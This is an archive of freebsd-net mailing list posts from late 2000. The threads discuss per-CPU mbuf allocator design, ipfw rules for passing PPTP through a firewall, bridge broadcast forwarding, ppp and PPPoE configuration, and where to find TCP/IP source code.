Tue, 31 Oct 2000 12:37:11 -0500 (EST) Date: Tue, 31 Oct 2000 12:41:46 -0500 (EST) From: Bosko Milekic Subject: Re: MP: per-CPU mbuf allocation lists In-reply-to: <20001031002953.O22110@fw.wintelcom.net> X-Sender: bmilekic@jehovah.technokratis.com To: Alfred Perlstein Cc: freebsd-net@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=X-UNKNOWN Content-transfer-encoding: QUOTED-PRINTABLE Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 31 Oct 2000, Alfred Perlstein wrote: > Actually this might work. :) >=20 > Consider, you're at 0 buffers on your freelist, you allocate a > chunk from the general pool if it's bigger than the tunable 'lw' > the whole chain goes onto your 'lw' list. >=20 > As you allocate and free from lw, it will 'spill' onto your 'hw' > list because that's where you free to when 'lw' is full. =20 >=20 > If you happen to grab something off the freelist smaller than 'lw' > you just live with that, or possibly grab another chunk, either > way this algorithm heals the chunks by spilling free's from lw to > hw to make the cutoff. >=20 > Eventually you'll overflow your hw list and free the correct sized > chunk onto the freelist (hw - lw buffers). >=20 > If you're just consuming mbufs well then someone else will be doing > the above described free'ing balancing out the main pool. >=20 > Remeber, accuracy with balancing the chunks isn't nearly as important > as speed. =09I never said that it wouldn't work. =09I just said that it would if anything, add way too many hysterics and also make certain situations MUCH slower (like the situation when this sort of move from the global list to the fast list needs to be done). The purpose of doing this sort of thing, as you suggest it, would be to supposedly make future allocations from the same CPU faster (because they won't have to go dip into the global pool until the next time you run out on your fast list). Well, I'm telling you that it's really not worth the trouble. =09First of all, if it were to be done, you'd have to scratch my idea of how to wakeup sleepers, because otherwise, you would end up having some freeing of INDIVIDUAL (not belonging to any "chunk") mbufs onto mmbfree, which would further fragment it. The alternative solution would be to make yet another separate list to be used solely by the waiting routines, which would involve yet another mutex, etc, etc, etc. =09Second of all, dealing with various sized chunks is enough trouble as it is. It sounds very nice in theory, but in practise, it's not. It would mean that either you keep track of the last mbuf on your F2 fast list, which would involve, everytime you free to F2: =09* you're freeing to the head of the list, so you have to make your =09top mbuf (the one you're adding) have nextpkt point to the last mbuf, =09which you'll probably get from the previously first mbuf on F2, after =09which point you'll set that previously-first mbuf's nextpkt to NULL =09in order to avoid confusion on the mmbfree list. or that you "find" your last mbuf when it comes time to create the chunk on mmbfree by walking the mbufs that are part of the "chunk." =09Third of all, consider the mayhem when the low watermark is changed several times; the mmbfree list gets so damn fragmented that it becomes complete HELL to combine/split chunks. Speaking of which, splitting chunks, if they are unreasonably large, is very costly, because it would mean walking the present "chunk" list until you get to the middle. =09Fourth=B8 if your mmbfree general list is empty, you have to allocate = a page and split it into PAGE_SIZE / MSIZE mbufs, which may or may not be larger than the chunk you happen to be looking for at the moment. Say it's 50% larger (which is unlikely, but possible), you'll be walking the newly allocated mbufs splitting them into two chunks. Say it's smaller (very likely), you'll either be trying to allocate more pages (more overhead) -- more overhead -- or dealing with the fact that you couldn't grab as many mbufs as you wanted, and re-arranging chunks. =09Finally, think of the MAYHEM involved in possibly invalidating nextpkt pointers when changing chunk sizes. =09On the other hand, simply dropping this chunk idea will likely have you grabbing the mmbfree mutex quite often when you=B4ve got nothing on your fast list(s), but that's only until mbufs are again freed back to your fast lists... In other words, just because you have 0 on your fast list AT THIS VERY INSTANT, doesn't mean that you'll still have 0 in THIS VERY INSTANT + some DELTA_TIME. =09I don't think that anybody is prepared to introduce the hysterics and complexity of this "chunk" system in return for per CPU lists, when just eliminating the "chunk" idea would leave you with a system at WORST 5-10% less performant, but at least 80% less complex. > --=20 > -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] > "I have the heart of a child; I keep it in a jar on my desk." =09I really liked ALL of the suggestions you made but this one, for more than obvious reasons. If you agree, I can go about implementing the revised design as I had presented it in my last Email, which would leave space for adding this "chunk" idea if for whatever reason you want to see for yourself. Then either you or me or someone else can eventually implement it and profile it before introducing it. Agreed? Cheers, Bosko Milekic bmilekic@technokratis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 12:48: 9 2000 Delivered-To: freebsd-net@freebsd.org Received: from virtual.sysadmin-inc.com (lists.sysadmin-inc.com [209.16.228.140]) by hub.freebsd.org (Postfix) with ESMTP id 8D54037B479 for ; Tue, 31 Oct 2000 12:48:06 -0800 (PST) Received: from 98wkst ([10.10.1.71]) by virtual.sysadmin-inc.com (8.9.1/8.9.1) with SMTP id PAA28591 for ; Tue, 31 Oct 2000 15:48:31 -0500 Reply-To: From: "Peter Brezny" To: Subject: getting mpd-netgraph pptp to work throug ipfw firewall with natd Date: Tue, 31 Oct 2000 15:48:09 -0500 Message-ID: <000001c0437b$e1a68940$47010a0a@fire.sysadmininc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org A while back someone asked how to get this working and Archie replied... === Should work fine.. just make sure you allow TCP port 1723 and IP proto #47 to reach mpd. -Archie === could anyone elaborate on this, specifically the ip proto#47 part and/or share a couple example ipfw rules? TIA Peter Brezny SysAdmin Services, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 13:14:59 2000 Delivered-To: freebsd-net@freebsd.org Received: from ozias.inrs-telecom.uquebec.ca (ozias.inrs-telecom.uquebec.ca [192.26.211.164]) by hub.freebsd.org (Postfix) with ESMTP id 4F0B137B4C5 for ; Tue, 31 Oct 2000 13:14:56 -0800 (PST) Received: from cholla.INRS-Telecom.UQuebec.CA (cholla [192.26.211.110]) by ozias.inrs-telecom.uquebec.ca (8.11.0/8.9.1) with ESMTP id e9VLF1U06685 for ; Tue, 31 Oct 2000 16:15:01 -0500 (EST) Received: from cholla by cholla.INRS-Telecom.UQuebec.CA (8.9.3+Sun/SMI-SVR4) id QAA21225; Tue, 31 Oct 2000 16:14:55 -0500 (EST) Message-Id: <200010312114.QAA21225@cholla.INRS-Telecom.UQuebec.CA> Date: Tue, 31 Oct 2000 16:14:55 -0500 (EST) From: Tarik Alj Reply-To: Tarik Alj Subject: bdg_forward To: freebsd-net@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: QTH56R92xdqg8DIy+ls4Mg== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4u sparc Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi all, I would like some clarification on something that happens in bdg_forward when forwarding broadcast frames (such as ARP requests). In the beginning of the code last is initialized to NULL, so that if a frame arrives on an iface whose index is higher than 1 it will not be forwarded on the interface with index 1 because the if test after the for(;;) loop will fail. Is this meant to be this way? And if so, could someone explain to me why? I am working with bridge.c v1.16, thanks in advance, -Tarik. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 13:19:39 2000 Delivered-To: freebsd-net@freebsd.org Received: from taka.swcp.com (taka.swcp.com [198.59.115.12]) by hub.freebsd.org (Postfix) with ESMTP id 2E1FD37B4C5 for ; Tue, 31 Oct 2000 13:19:37 -0800 (PST) Received: from argotsoft.com (argotsoft.com [198.59.115.127]) by taka.swcp.com (8.10.0.Beta12/8.10.0.Beta12) with ESMTP id e9VLJXr40677; Tue, 31 Oct 2000 14:19:34 -0700 (MST) Received: (from msommer@localhost) by argotsoft.com (8.9.3/8.8.7) id OAA03064; Tue, 31 Oct 2000 14:18:52 -0700 (MST) (envelope-from msommer) From: "Mark J. Sommer" Message-Id: <200010312118.OAA03064@argotsoft.com> Subject: Re: getting mpd-netgraph pptp to work throug ipfw firewall with natd In-Reply-To: <000001c0437b$e1a68940$47010a0a@fire.sysadmininc.com> from Peter Brezny at "Oct 31, 2000 03:48:09 pm" To: peter@sysadmin-inc.com Date: Tue, 31 Oct 2000 14:18:52 -0700 (MST) Cc: freebsd-net@freebsd.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Here's the lines I have for PPTP in rc.firewall: # Allow connections on pptp. $fwcmd add pass tcp from any 1723 to any 1024-65535 out xmit ${oif} $fwcmd add pass tcp from any 1024-65535 to any 1723 in recv ${oif} $fwcmd add pass 47 from any to any out xmit ${oif} $fwcmd add pass 47 from any to any in recv ${oif} oif=outside interface [Charset iso-8859-1 unsupported, filtering to ASCII...] > A while back someone asked how to get this working and Archie replied... > === > Should work fine.. just make sure you allow TCP port 1723 and > IP proto #47 to reach mpd. > > -Archie > === > could anyone elaborate on this, specifically the ip proto#47 part and/or > share a couple example ipfw rules? > > TIA > > Peter Brezny > SysAdmin Services, Inc. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-net" in the body of the message > ~Mark -------------------------------------------------------------------------------- Mark J. Sommer ARGOT Software Corporation, P.O. Box 92020, Albuquerque, New Mexico 87199-2020 FAX: 505-771-0274 PHONE: 505-867-6750 E-MAIL: msommer@argotsoft.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 14:18:26 2000 Delivered-To: freebsd-net@freebsd.org Received: from field.videotron.net (field.videotron.net [205.151.222.108]) by hub.freebsd.org (Postfix) with ESMTP id 634A437B4CF for ; Tue, 31 Oct 2000 14:18:24 -0800 (PST) Received: from modemcable213.3-201-24.mtl.mc.videotron.ca ([24.201.3.213]) by field.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0G3B004LQFAM3C@field.videotron.net> for freebsd-net@FreeBSD.ORG; Tue, 31 Oct 2000 17:18:23 -0500 (EST) Date: Tue, 31 Oct 2000 17:22:58 -0500 (EST) From: Bosko Milekic Subject: Re: MP: per-CPU mbuf allocation lists In-reply-to: <20001030115209.G22110@fw.wintelcom.net> X-Sender: bmilekic@jehovah.technokratis.com To: Alfred Perlstein Cc: freebsd-net@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 30 Oct 2000, Alfred Perlstein wrote: > Basically when you have a procducer/consumer, the producer is writing > to the memory while the consumer is only reading. Now if the consumer > free's to his own list rather than the producers list, what happens > is that when the consumer does his next allocation he most likely > is going to write to a page that has it's writablility "owned" by > the producer, this generates bus traffic to inform the producer that > he can no longer write/read cache the memory. By freeing to the > producer's pool you avoid invalidating the producer's cache. Yeah, as you mention below, you don't exactly have a producer/consumer relationship for what concerns mbufs, so improving cache efficiency by grouping together mbufs on per-CPU lists likely won't get you too far. > There is a gotcha here though that would need some thourough > investigation, thinking about how mbufs work, a lot of the time > the mbuf headers are accessed right before they are free'd to > either trim or remove them from linked lists, so perhaps the > free'ing to the CPU that the mbuf was allocated from should only > happen for mbuf clusters, not mbuf headers. Regarding clusters; although I could be wrong, think about what could happen with a socket buffer that can be touched by several CPUs; you would have an invalidation of the cache anyway, AFAIK, and the performance benefit of doing this would no longer be apparent. I suppose that when writing a general purpose allocator (such as hoard), that one should take note of this mainly because in that case, the possibility of having a producer/consumer relationship is likely greater, or more reasonable? > -- > -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] > "I have the heart of a child; I keep it in a jar on my desk." Regards, Bosko Milekic bmilekic@technokratis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 14:55:44 2000 Delivered-To: freebsd-net@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id 5FAA337B4C5; Tue, 31 Oct 2000 14:55:40 -0800 (PST) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id PAA23030; Tue, 31 Oct 2000 15:52:20 -0700 (MST) Received: from usr09.primenet.com(206.165.6.209) via SMTP by smtp04.primenet.com, id smtpdAAAlXayRS; Tue Oct 31 15:52:09 2000 Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id PAA17563; Tue, 31 Oct 2000 15:55:12 -0700 (MST) From: Terry Lambert Message-Id: <200010312255.PAA17563@usr09.primenet.com> Subject: Re: MP: per-CPU mbuf allocation lists To: dillon@earth.backplane.com (Matt Dillon) Date: Tue, 31 Oct 2000 22:55:11 +0000 (GMT) Cc: tlambert@primenet.com (Terry Lambert), dg@root.com (David Greenman), bmilekic@dsuper.net (Bosko Milekic), freebsd-net@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG In-Reply-To: <200010311649.e9VGnOm18947@earth.backplane.com> from "Matt Dillon" at Oct 31, 2000 08:49:24 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > :It's really trivial to implement this: > : > :/* something to cast about; allocations can be no smaller than this*/ > :struct thing { > :... > > You've just described our zalloc[i]() memory subsystem with a few simple > changes. I know. I told you it was trivial... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 15: 5: 9 2000 Delivered-To: freebsd-net@freebsd.org Received: from rigel.cs.pdx.edu (rigel.cs.pdx.edu [131.252.208.59]) by hub.freebsd.org (Postfix) with ESMTP id 0D5AD37B4C5 for ; Tue, 31 Oct 2000 15:05:07 -0800 (PST) Received: from regulus.cs.pdx.edu (harkirat@regulus.cs.pdx.edu [131.252.223.74]) by rigel.cs.pdx.edu (8.9.1/8.9.1) with ESMTP id PAA14332 for ; Tue, 31 Oct 2000 15:05:06 -0800 (PST) Received: from localhost (harkirat@localhost) by regulus.cs.pdx.edu (8.8.6/8.8.5) with ESMTP id PAA00855 for ; Tue, 31 Oct 2000 15:05:05 -0800 (PST) X-Authentication-Warning: regulus.cs.pdx.edu: harkirat owned process doing -bs Date: Tue, 31 Oct 2000 15:05:05 -0800 (PST) From: Harkitrat Singh To: freebsd-net@FreeBSD.ORG Subject: TCP/IP source code Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello! I am a MS student and part of my MS project I am doing some work with Palm III. I am looking for TCP/IP source code for Palm III. If source code for Palm III is not available then I would work with standard TCP/IP source code. Can some one suggest me the ftp site for downloading TCP/IP source code. Tahnking you in advance, Harkirat Singh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 16:52:20 2000 Delivered-To: freebsd-net@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id DDA5637B479 for ; Tue, 31 Oct 2000 16:52:13 -0800 (PST) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.0/8.11.0) with ESMTP id eA10nkl91521; Wed, 1 Nov 2000 00:49:46 GMT (envelope-from brian@hak.lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.1/8.11.1) with ESMTP id eA10nWs66042; Wed, 1 Nov 2000 00:49:33 GMT (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200011010049.eA10nWs66042@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Ernie Elu Cc: freebsd-net@FreeBSD.org, brian@Awfulhak.org Subject: Re: RADIUS Accounting with PPP In-Reply-To: Message from Ernie Elu of "Wed, 25 Oct 2000 21:07:33 +1000." <200010251107.e9PB7cZ00370@spooky.eis.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 01 Nov 2000 00:49:32 +0000 From: Brian Somers Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > How do you get Radius Accounting to work with ppp? > > I managed to get authentication to work after a lot of mucking around, but > it leaves no accounting records on our radius server about the connection. Try the latest version of ppp - in -current or from my web site. It *should* work ok now. > - Ernie. -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 16:53: 9 2000 Delivered-To: freebsd-net@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id E474237B479 for ; Tue, 31 Oct 2000 16:53:03 -0800 (PST) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.0/8.11.0) with ESMTP id eA10mll91497; Wed, 1 Nov 2000 00:48:47 GMT (envelope-from brian@hak.lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.1/8.11.1) with ESMTP id eA10mXs66025; Wed, 1 Nov 2000 00:48:33 GMT (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200011010048.eA10mXs66025@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Andre Oppermann Cc: freebsd-net@FreeBSD.org, brian@Awfulhak.org Subject: Re: Problem with pppoed->ppp In-Reply-To: Message from Andre Oppermann of "Tue, 24 Oct 2000 19:18:16 +0200." <39F5C458.D77E62A0@pipeline.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 01 Nov 2000 00:48:33 +0000 From: Brian Somers Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > There seems to be a problem with ppp running in an server pppoe > environment. > > The first pppoe connection comes in fine but with the second it looks > like ppp wants to use the tun0 interface again which obviously doesn't > work since it is occupied already. > > Any hints on this problem? How to make ppp use the next tun interface? > > My config is this: > > pppoed -Fd -a vaio -p test fxp0 > > ppp.conf: > default: > allow mode direct > set mru 1492 > set mtu 1492 > set speed sync > set cd 5! > set timeout 1800 > enable lqr > enable chap > accept dns > test: > set ifaddr 192.168.0.2 192.168.1.32/27 Try set ifaddr 192.168.0.2 192.168.1.1-192.168.1.32 instead. ppp will allocate an unused number in the given range. [.....] > -- > Andre -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 18:10:20 2000 Delivered-To: freebsd-net@freebsd.org Received: from hand.dotat.at (sfo-gw.covalent.net [207.44.198.62]) by hub.freebsd.org (Postfix) with ESMTP id 674C037B479 for ; Tue, 31 Oct 2000 18:10:17 -0800 (PST) Received: from fanf by hand.dotat.at with local (Exim 3.15 #3) id 13qnLK-0004wp-00; Wed, 01 Nov 2000 02:09:34 +0000 Date: Wed, 1 Nov 2000 02:09:31 +0000 From: Tony Finch To: Andre Oppermann Cc: Nat Lanza , Alfred Perlstein , Bosko Milekic , freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists Message-ID: <20001101020931.D18414@hand.dotat.at> References: <20001030104457.E22110@fw.wintelcom.net> <39FDD039.594CED43@telehouse.ch> <39FEA159.EB774F1E@telehouse.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39FEA159.EB774F1E@telehouse.ch> Organization: Covalent Technologies, Inc Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andre Oppermann wrote: > >Depends, if you look at Apache 2.0 it will run multithreaded. In the >Apache case it could also make sense to keep the childs on the same >CPU to avoid cache line thrashing. There are a lot of informations >that flow between the parent Apache and the Childs (requests, filters, >log entries...). It makes sense to run cgi's on a different CPU. Very little information passes between the parent and children processes of Apache. If you turn on Extended Status the children do update some more information in shared memory (the "scoreboard") as they proceed through a request, but other than restart signals that is it. Tony. -- en oeccget g mtcaa f.a.n.finch v spdlkishrhtewe y dot@dotat.at eatp o v eiti i d. fanf@covalent.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 18:14:40 2000 Delivered-To: freebsd-net@freebsd.org Received: from hand.dotat.at (sfo-gw.covalent.net [207.44.198.62]) by hub.freebsd.org (Postfix) with ESMTP id 8157537B4C5 for ; Tue, 31 Oct 2000 18:14:38 -0800 (PST) Received: from fanf by hand.dotat.at with local (Exim 3.15 #3) id 13qnNS-0004wz-00; Wed, 01 Nov 2000 02:11:46 +0000 Date: Wed, 1 Nov 2000 02:11:44 +0000 From: Tony Finch To: Christopher Harrer Cc: "Thiyagarajan M-RollNo.99087" , freebsd-net@freebsd.org Subject: Re: details of implementation of networking Message-ID: <20001101021144.E18414@hand.dotat.at> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: Organization: Covalent Technologies, Inc Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Christopher Harrer wrote: >One of the best book sets (2 books) I've seen is by Wright/Stevens, "TCP/IP >Illustrated, Volumes I & II". Some of the information may be out of date, >but it's an excellent overview of the implementation, especially when >coupled with looking at the current code. There's a third volume too. Tony. -- en oeccget g mtcaa f.a.n.finch v spdlkishrhtewe y dot@dotat.at eatp o v eiti i d. fanf@covalent.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 18:22:43 2000 Delivered-To: freebsd-net@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 1B4E437B479 for ; Tue, 31 Oct 2000 18:22:40 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.9.3/8.9.3) id SAA08552; Tue, 31 Oct 2000 18:22:28 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200011010222.SAA08552@iguana.aciri.org> Subject: Re: bdg_forward In-Reply-To: <200010312114.QAA21225@cholla.INRS-Telecom.UQuebec.CA> from Tarik Alj at "Oct 31, 2000 4:14:55 pm" To: aljtarik@inrs-telecom.uquebec.ca Date: Tue, 31 Oct 2000 18:22:28 -0800 (PST) Cc: freebsd-net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Hi all, Hi, there is a trick there to save one extra copy of the packet (the trick is copied by the multicast forwarding code). What you would would write is: for (ifp = first_if; ifp != NULL; ifp = ifp->next) { if (interface_needs_a_copy(ifp, pkt)) { x = copy_of(pkt); IF_ENQUEUE(ifp, pkt) } } mfree(pkt); but it is more efficient to delay the copy (and the forwarding) until you are really sure that you have to do it. The current code is suboptimal but tries to achieve the above by delaying the copy by one loop. It could be written slightly better (but at the price of slightly more obfuscation) and delay the copy until you find that the second matching interface. cheers luigi ----------------------------------+----------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . ACIRI/ICSI (on leave from Univ. di Pisa) http://www.iet.unipi.it/~luigi/ . 1947 Center St, Berkeley CA 94704 Phone: (510) 666 2927 ----------------------------------+----------------------------------------- > I would like some clarification on something that happens in bdg_forward > when forwarding broadcast frames (such as ARP requests). In the beginning of the > code last is initialized to NULL, so that if a frame arrives on an iface whose > index is higher than 1 it will not be forwarded on the interface with index 1 > because the if test after the for(;;) loop will fail. Is this meant to be this > way? And if so, could someone explain to me why? > I am working with bridge.c v1.16, thanks in advance, > > -Tarik. > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-net" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Tue Oct 31 19: 8:21 2000 Delivered-To: freebsd-net@freebsd.org Received: from hoemail2.firewall.lucent.com (hoemail2.lucent.com [192.11.226.163]) by hub.freebsd.org (Postfix) with ESMTP id 931B237B479 for ; Tue, 31 Oct 2000 19:08:18 -0800 (PST) Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id WAA24887 for ; Tue, 31 Oct 2000 22:08:17 -0500 (EST) Received: from mhmail.mh.lucent.com (h135-3-115-8.lucent.com [135.3.115.8]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id WAA24880; Tue, 31 Oct 2000 22:08:17 -0500 (EST) Received: from lucent.com (positron.micro.lucent.com [192.19.56.129]) by mhmail.mh.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id WAA09797; Tue, 31 Oct 2000 22:08:15 -0500 (EST) Message-ID: <39FF88D2.7ED5A9AB@lucent.com> Date: Tue, 31 Oct 2000 22:06:58 -0500 From: "Gary T. Corcoran" Reply-To: gcorcoran@lucent.com Organization: Lucent Microelectronics - Client Access Broadband Systems X-Mailer: Mozilla 4.73 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: "Louis A. Mamakos" Cc: freebsd-net@FreeBSD.ORG Subject: Re: More on PPPoE & ADSL (Telstra Bigpond) References: <39F8C29F.D785C588@lucent.com> <39F9210E.B728D4F8@elischer.org> <39F9B679.CA563B9E@lucent.com> <39F9E669.FB8D77D2@elischer.org> <39F9F1FB.F00E686F@lucent.com> <39F9FFAD.2992767D@elischer.org> <39FA0056.8CB7D452@elischer.org> <39FA081C.3E56D791@lucent.com> <200010280124.e9S1O8G52999@whizzo.transsys.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I previously wrote: > > Personally (my opinion only), I dislike PPPoE. It adds a full THIRTY (30) > > bytes of overhead to every packet you send! And for a (real) DSL link, > > it's not needed. That is, you really just want to send PPP over ATM > > (DSL packets get formatted as ATM cells, if you didn't know). [good explanations by Louis for why PPPoE was needed deleted] Hi Louis, I didn't realize you were on this email list... Sorry if I gave the wrong impression in my previous email. I didn't mean to imply that PPPoE was "bad" in and of itself, nor that it was not needed. For the reasons you detailed in your response, it is needed. I guess what I really meant was that I just wish it wasn't _needed_ in the first place! :-) It just seems a little ironic that this protocol, invented to make things simpler for end-users to hook up external boxes, has to be implemented even for *internal* DSL adapters because some of the head-end equipment is using PPPoE. So we end up with PPP over Ethernet over ATM over DSL. That's a lot of bit twiddling to do! But, of course, it works. And things would be so much simpler if we didn't have to support _seven_ protocol flavors for DSL (PPPoE being one of them). If there were just one "standard", we wouldn't need so many options and so much protocol (wrapping) code in our drivers. And one could just use a different ATM virtual channel, i.e. VPI/VCI pair, to talk to multiple destinations (separate networks) at the same time. If fact, because there are some installations that do exactly that, it's yet another feature I put in our driver awhile back - maybe that's eight flavors... :) But I guess I shouldn't really complain: having all this complexity, and all these protocol flavors, has kept me employed and made me a valuable member of our development team... :-) ;-) Gary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 6:25:47 2000 Delivered-To: freebsd-net@freebsd.org Received: from wireless.net (unknown [207.137.156.159]) by hub.freebsd.org (Postfix) with ESMTP id C032937B479 for ; Wed, 1 Nov 2000 06:25:44 -0800 (PST) Received: from localhost (bad@localhost) by wireless.net (8.9.3/8.9.3) with SMTP id GAA27081; Wed, 1 Nov 2000 06:25:29 -0800 (PST) Date: Wed, 1 Nov 2000 06:25:28 -0800 (PST) From: Bernie Doehner To: Harkitrat Singh Cc: freebsd-net@FreeBSD.ORG Subject: Re: TCP/IP source code In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Karkirat: I assume you are running FreeBSD, otherwise you wouldn't be subscribed to this mailing list? If you install kernel sources, most of your kernel networking code is under /sys/netinet and /sys/net. As far as 3COM specific code, please look for a 3COM developers mailing list. Not sure if you know, PDX has done significant research/development with FreeBSD in past years, most notably a mobile (wireless) IP testbed, consisting of access points and laptops running FreeBSD. Good luck, Bernie On Tue, 31 Oct 2000, Harkitrat Singh wrote: > > Hello! > > I am a MS student and part of my MS project I am doing some work with Palm > III. I am looking for TCP/IP source code for Palm III. If source code for > Palm III is not available then I would work with standard TCP/IP source > code. Can some one suggest me the ftp site for downloading TCP/IP source > code. > > Tahnking you in advance, > > Harkirat Singh > > > > To Unsubscribe: send mail to majordomo@FreeBSD..org > with "unsubscribe freebsd-net" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 9:18:35 2000 Delivered-To: freebsd-net@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) 